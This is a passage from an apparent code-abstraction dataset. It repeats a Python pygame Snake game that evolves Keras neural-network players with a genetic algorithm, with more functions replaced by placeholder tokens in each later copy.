BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\ndef create_model():\n \"\"\"\n Create Neural Network as a keras model\n \"\"\"\n model = Sequential()\n model.add(Dense(12, input_dim=8, activation='relu'))\n model.add(Dense(16, activation='relu'))\n model.add(Dense(4, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n return model\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\n<function token>\n\n\ndef model_mutate(weights):\n \"\"\"\n Mutate the weights of a model\n \"\"\"\n for i in range(len(weights)):\n for j in range(len(weights[i])):\n if random.uniform(0, 1) > 0.7:\n change = random.uniform(-0.5, 0.5)\n weights[i][j] += change\n return weights\n\n\ndef roulette_selection(total_fitness):\n global fitness\n choice = random.randint(0, total_fitness)\n parent = 0\n current = 0\n for idx in range(total_models):\n current += fitness[idx]\n if current > choice:\n parent = idx\n break\n return parent\n\n\ndef genetic_updates():\n global current_pool\n global fitness\n global generation\n new_weights = []\n total_fitness = sum(fitness)\n for i in range(total_models // 2):\n parent_1 = roulette_selection(total_fitness)\n parent_2 = roulette_selection(total_fitness)\n new = model_crossover(parent_1, parent_2)\n update_w1 = model_mutate(new[0])\n update_w2 = model_mutate(new[1])\n new_weights.append(update_w1)\n new_weights.append(update_w2)\n for i in range(len(new_weights)):\n current_pool[i].set_weights(new_weights[i])\n generation += 1\n return\n\n\n<function token>\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\ndef create_model():\n \"\"\"\n Create Neural Network as a keras model\n \"\"\"\n model = Sequential()\n model.add(Dense(12, input_dim=8, activation='relu'))\n model.add(Dense(16, activation='relu'))\n model.add(Dense(4, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n return model\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\n<function token>\n\n\ndef model_mutate(weights):\n \"\"\"\n Mutate the weights of a model\n \"\"\"\n for i in range(len(weights)):\n for j in range(len(weights[i])):\n if random.uniform(0, 1) > 0.7:\n change = random.uniform(-0.5, 0.5)\n weights[i][j] += change\n return weights\n\n\n<function token>\n\n\ndef genetic_updates():\n global current_pool\n global fitness\n global generation\n new_weights = []\n total_fitness = sum(fitness)\n for i in range(total_models // 2):\n parent_1 = roulette_selection(total_fitness)\n parent_2 = roulette_selection(total_fitness)\n new = model_crossover(parent_1, parent_2)\n update_w1 = model_mutate(new[0])\n update_w2 = model_mutate(new[1])\n new_weights.append(update_w1)\n new_weights.append(update_w2)\n for i in range(len(new_weights)):\n current_pool[i].set_weights(new_weights[i])\n generation += 1\n return\n\n\n<function token>\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\ndef create_model():\n \"\"\"\n Create Neural Network as a keras model\n \"\"\"\n model = Sequential()\n model.add(Dense(12, input_dim=8, activation='relu'))\n model.add(Dense(16, activation='relu'))\n model.add(Dense(4, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n return model\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\n<function token>\n\n\ndef model_mutate(weights):\n \"\"\"\n Mutate the weights of a model\n \"\"\"\n for i in range(len(weights)):\n for j in range(len(weights[i])):\n if random.uniform(0, 1) > 0.7:\n change = random.uniform(-0.5, 0.5)\n weights[i][j] += change\n return weights\n\n\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\ndef create_model():\n \"\"\"\n Create Neural Network as a keras model\n \"\"\"\n model = Sequential()\n model.add(Dense(12, input_dim=8, activation='relu'))\n model.add(Dense(16, activation='relu'))\n model.add(Dense(4, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n return model\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\n<function token>\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n <docstring token>\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n <docstring token>\n <function token>\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n <docstring token>\n <function token>\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n <function token>\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n",
